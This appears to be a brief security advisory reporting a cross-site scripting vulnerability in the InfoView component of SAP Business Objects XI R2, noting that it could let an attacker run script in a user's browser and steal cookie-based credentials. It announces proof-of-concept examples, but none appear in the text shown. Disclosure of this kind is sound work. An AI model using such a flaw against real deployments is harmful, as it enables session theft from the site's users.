Vulnerable      XI R2

SAP Business Objects is prone to a cross-site scripting vulnerability because 
it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the 
browser of an unsuspecting user in the context of the affected site. This may 
allow the attacker to steal cookie-based authentication credentials and to 
launch other attacks.

Version XI R2 is known to be vulnerable. Other versions may also be vulnerable. 
The vulnerability lies in functionality related to the InfoView system.

The following proof of concept examples are provided:
